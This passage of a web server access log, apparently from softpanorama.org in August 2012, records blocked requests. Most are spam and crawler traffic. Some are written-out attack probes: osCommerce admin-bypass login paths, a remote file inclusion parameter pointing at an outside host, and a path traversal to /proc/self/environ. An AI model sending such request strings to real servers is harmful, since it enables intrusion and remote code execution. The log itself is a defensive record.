"http://www.softpanorama.org/Editors/ctags.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 184.170.246.3 - - [28/Aug/2012:15:36:17 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/3.0 (OS/2; U)" 5.9.198.245 - - [28/Aug/2012:16:02:54 -0700] "GET /DNS/security.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/DNS/security.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 85.107.189.12 - - [28/Aug/2012:16:05:27 -0700] "POST /admin/administrators.php/login.php?action=insert HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)" 85.107.189.12 - - [28/Aug/2012:16:05:28 -0700] "POST /admin/login.php?action=process HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)" 178.84.149.128 - - [28/Aug/2012:16:29:31 -0700] "GET /login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" 178.84.149.128 - - [28/Aug/2012:16:29:32 -0700] "GET /signup.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" 5.39.112.251 - - [28/Aug/2012:16:44:11 -0700] "GET /Tools/dd.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Tools/dd.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 174.106.4.142 - - [28/Aug/2012:16:47:09 -0700] "GET /index.php?page=register HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0" 5.39.112.251 - - [28/Aug/2012:17:00:41 -0700] "GET /OSS/index.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/OSS/index.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 37.220.26.62 - - [28/Aug/2012:17:12:53 -0700] "HEAD /history/hesilverhand.com/twacks/index.php?PHPSESSID=3114b73036790fa90aff2300bb08ce7e&topic=16451.15 HTTP/1.0" 403 - "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50" 91.194.251.186 - - [28/Aug/2012:17:13:36 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4" 174.106.4.142 - - [28/Aug/2012:17:31:59 -0700] "GET /profile.php?mode=register HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20100101 Firefox/8.0" 91.194.251.186 - - [28/Aug/2012:17:37:10 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6" 91.194.251.186 - - [28/Aug/2012:17:40:04 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4" 91.121.106.113 - - [28/Aug/2012:17:42:35 -0700] "GET /Mail/mta.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Mail/mta.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [28/Aug/2012:17:45:33 -0700] "GET /Mail/spam.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Mail/spam.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 91.194.251.186 - - [28/Aug/2012:17:47:02 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4" 37.59.173.131 - - [28/Aug/2012:17:48:43 -0700] "GET /Scripting/Phprama/command_line_php.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Scripting/Phprama/command_line_php.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 68.169.35.164 - - [28/Aug/2012:17:53:39 -0700] "GET /Commercial_linuxes/Suse/Security/launchpad_login.php HTTP/1.0" 403 82 "http://www.softpanorama.org/launchpad_login.php" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; MRA 5.10 (build 5310); .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)" 5.39.112.251 - - [28/Aug/2012:17:58:56 -0700] "GET /Scripting/Shellorama/vi_mode.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Scripting/Shellorama/vi_mode.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 46.246.17.192 - - [28/Aug/2012:18:11:02 -0700] "GET /Mail/mta.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Mail/mta.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 157.55.32.80 - - [28/Aug/2012:18:31:31 -0700] "GET /Security/IDS/acid.shtml/hall.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 5.39.112.251 - - [28/Aug/2012:18:35:24 -0700] "GET /OSS/linus_midas_touch.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/OSS/linus_midas_touch.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [28/Aug/2012:18:42:53 -0700] "GET /DNS/dns_servers.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/DNS/dns_servers.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 222.122.46.235 - - [28/Aug/2012:18:43:39 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0" 46.105.99.187 - - [28/Aug/2012:18:44:24 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)" 46.105.99.187 - - [28/Aug/2012:18:45:46 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511" 5.39.112.251 - - [28/Aug/2012:18:48:03 -0700] "GET /SE/humor.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/SE/humor.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 46.105.99.187 - - [28/Aug/2012:18:48:05 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox" 5.39.112.251 - - [28/Aug/2012:18:56:42 -0700] "GET /People/Stallman/index.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/People/Stallman/index.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 176.223.201.139 - - [28/Aug/2012:19:03:17 -0700] "POST /contact.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6" 5.39.112.251 - - [28/Aug/2012:19:14:30 -0700] "GET /People/Cox/index.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/People/Cox/index.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 211.210.0.11 - - [28/Aug/2012:19:30:19 -0700] "GET /zboard.php HTTP/1.1" 403 82 "-" "Gigabot/3.0 (http://www.gigablast.com/spider.html)" 211.210.0.11 - - [28/Aug/2012:19:30:31 -0700] "GET /zboard.php HTTP/1.1" 403 82 "-" "Gigabot/3.0 (http://www.gigablast.com/spider.html)" 211.210.0.11 - - [28/Aug/2012:19:31:52 -0700] "GET /Malware/Malicious_web/zboard.php HTTP/1.1" 403 82 "-" "Gigabot/3.0 (http://www.gigablast.com/spider.html)" 211.210.0.11 - - [28/Aug/2012:19:31:53 -0700] "GET /zboard.php HTTP/1.1" 403 82 "-" "Gigabot/3.0 (http://www.gigablast.com/spider.html)" 211.210.0.11 - - [28/Aug/2012:19:31:53 -0700] "GET /Malware/zboard.php HTTP/1.1" 403 82 "-" "Gigabot/3.0 (http://www.gigablast.com/spider.html)" 5.39.112.251 - - [28/Aug/2012:19:54:58 -0700] "GET /Net/troubleshooting.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Net/troubleshooting.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 108.60.129.21 - - [28/Aug/2012:20:07:16 -0700] "GET /Lang/cpp.shtml%22%20class=%22resultLink/admin/banner_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 108.60.129.21 - - [28/Aug/2012:20:07:16 -0700] "GET /admin/banner_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 108.60.129.21 - - [28/Aug/2012:20:07:17 -0700] "GET /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 108.60.129.21 - - [28/Aug/2012:20:07:17 -0700] "GET /Lang/cpp.shtml%22%20class=%22resultLink/admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 108.60.129.21 - - [28/Aug/2012:20:07:17 -0700] "GET /admin/categories.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 108.60.129.21 - - [28/Aug/2012:20:07:17 -0700] "GET /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 69.175.50.169 - - [28/Aug/2012:20:13:16 -0700] "GET /WWW/Content_management/wiki.shtml/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin HTTP/1.1" 403 82 "http://www.softpanorama.org/WWW/Content_management/wiki.shtml/index.php?title=Special:UserLogin&type=signup&returnto=Special:UserLogin&returntoquery=type%3Dsignup" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" 69.175.50.169 - - [28/Aug/2012:20:13:16 -0700] "POST /WWW/Content_management/wiki.shtml/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)" 200.98.201.180 - - [28/Aug/2012:20:13:19 -0700] "GET /Lang/cpp.shtml%22%20class=%22resultLink/admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)" 200.98.201.180 - - [28/Aug/2012:20:13:20 -0700] "GET /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)" 200.98.201.180 - - [28/Aug/2012:20:13:20 -0700] "GET /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)" 200.98.201.180 - - [28/Aug/2012:20:13:20 -0700] "GET /admin/categories.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)" 200.98.201.180 - - [28/Aug/2012:20:13:21 -0700] "GET /Lang/cpp.shtml%22%20class=%22resultLink/admin/banner_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)" 200.98.201.180 - - [28/Aug/2012:20:13:22 -0700] "GET /admin/banner_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)" 108.60.129.21 - - [28/Aug/2012:20:28:16 -0700] "GET /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 108.60.129.21 - - [28/Aug/2012:20:29:05 -0700] "GET /admin/banner_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 5.39.112.251 - - [28/Aug/2012:20:36:14 -0700] "GET /Copyright/humor.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Copyright/humor.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 157.55.34.35 - - [28/Aug/2012:22:17:07 -0700] "GET /WWW/Webservers/web_server_security.shtml/nota.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" 188.132.239.233 - - [28/Aug/2012:22:22:02 -0700] "GET /extras/curltest.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:22:22:22 -0700] "GET /extras/curltest.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 37.59.173.131 - - [28/Aug/2012:22:49:15 -0700] "GET /Scripting/Phprama/command_line_php.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Scripting/Phprama/command_line_php.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [28/Aug/2012:23:06:01 -0700] "GET /Admin/unix_conf_managment.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Admin/unix_conf_managment.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 27.153.250.187 - - [28/Aug/2012:23:32:57 -0700] "GET /scripting/phprama/ HTTP/1.1" 403 82 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)" 5.39.112.251 - - [28/Aug/2012:23:42:09 -0700] "GET /Commercial_linuxes/lpi_certification.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Commercial_linuxes/lpi_certification.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 188.132.239.233 - - [28/Aug/2012:23:43:07 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:43:08 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:43:09 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:43:10 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:43:11 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:43:12 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:49:28 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:49:29 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:49:30 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:49:31 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:49:32 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 188.132.239.233 - - [28/Aug/2012:23:49:33 -0700] "POST /admin/file_manager.php/login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 5.39.112.251 - - [29/Aug/2012:00:04:22 -0700] "GET /Articles/Linux_vs_Solaris/comparison_of_internal_architecture.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Articles/Linux_vs_Solaris/comparison_of_internal_architecture.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 85.107.189.12 - - [29/Aug/2012:01:12:22 -0700] "POST /admin/administrators.php/login.php?action=insert HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)" 85.107.189.12 - - [29/Aug/2012:01:12:22 -0700] "POST /admin/login.php?action=process HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E)" 5.39.112.251 - - [29/Aug/2012:01:32:07 -0700] "GET /Net/Transport_layer/index.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Net/Transport_layer/index.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 91.121.89.20 - - [29/Aug/2012:02:46:25 -0700] "POST /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:25 -0700] "POST /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:26 -0700] "POST /Lang/cpp.shtml%22%20class=%22resultLink/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:27 -0700] "POST /admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:27 -0700] "POST /admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:28 -0700] "POST /admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:28 -0700] "POST /Lang/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:29 -0700] "POST /Lang/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 91.121.89.20 - - [29/Aug/2012:02:46:30 -0700] "POST /Lang/admin/categories.php/login.php?cPath=&action=new_product_preview HTTP/1.1" 403 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 112.25.12.38 - - [29/Aug/2012:03:38:32 -0700] "GET /login.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" 80.58.29.174 - - [29/Aug/2012:03:38:34 -0700] "GET /signup.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" 80.58.29.174 - - [29/Aug/2012:03:38:35 -0700] "GET /signup.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)" 5.39.112.251 - - [29/Aug/2012:03:43:28 -0700] "GET /WWW/www_management_scripts.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/WWW/www_management_scripts.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 37.59.131.9 - - [29/Aug/2012:03:46:16 -0700] "GET /Tools/index.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Tools/index.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 174.127.116.240 - - [29/Aug/2012:03:51:35 -0700] "GET /register.php?do=signup HTTP/1.1" 403 82 "http://www.softpanorama.org/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1;)" 5.39.112.251 - - [29/Aug/2012:04:13:19 -0700] "GET /History/index.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/History/index.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [29/Aug/2012:04:16:01 -0700] "GET /history.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/history.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 5.39.112.251 - - [29/Aug/2012:04:32:16 -0700] "GET /Windows/startup_and_shutdown.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/Windows/startup_and_shutdown.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 64.15.147.199 - - [29/Aug/2012:04:54:57 -0700] "GET /Skeptics/Political_skeptic//parse/parser.php?WN_BASEDIR=test?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:54:58 -0700] "GET /Skeptics/Political_skeptic//parse/parser.php?WN_BASEDIR=http://www.aorta.ca/byroe.jpg?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:54:59 -0700] "GET /Skeptics/Political_skeptic//parse/parser.php?WN_BASEDIR=?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:55:01 -0700] "GET //parse/parser.php?WN_BASEDIR=test?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:55:02 -0700] "GET //parse/parser.php?WN_BASEDIR=http://www.aorta.ca/byroe.jpg?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:55:03 -0700] "GET //parse/parser.php?WN_BASEDIR=?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:55:04 -0700] "GET /Skeptics//parse/parser.php?WN_BASEDIR=test?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:55:05 -0700] "GET /Skeptics//parse/parser.php?WN_BASEDIR=http://www.aorta.ca/byroe.jpg?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 64.15.147.199 - - [29/Aug/2012:04:55:07 -0700] "GET /Skeptics//parse/parser.php?WN_BASEDIR=?? HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.19) Gecko/2010061201 Firefox/3.0.19 Flock/2.6.0" 5.39.112.251 - - [29/Aug/2012:06:05:31 -0700] "GET /OSS/open_source.shtmlindex.php HTTP/1.0" 403 82 "http://www.softpanorama.org/OSS/open_source.shtmlindex.php" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" 219.137.181.125 - - [29/Aug/2012:06:08:47 -0700] "GET /submit.php HTTP/1.1" 403 82 "http://www.softpanorama.org" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" 219.137.181.125 - - [29/Aug/2012:06:08:49 -0700] "GET /submit.php HTTP/1.1" 403 82 "http://www.softpanorama.org" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" 205.189.73.122 - - [29/Aug/2012:06:16:55 -0700] "GET /register.php HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.78 Safari/535.11" 95.173.185.22 - - [29/Aug/2012:06:36:09 -0700] "GET /WWW/web_logs_analysis.shtml//index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 95.173.185.22 - - [29/Aug/2012:06:36:09 -0700] "GET //index.php?option=com_fabrik&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ%0000 HTTP/1.1" 403 82 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6" 95.173.185.22 - - 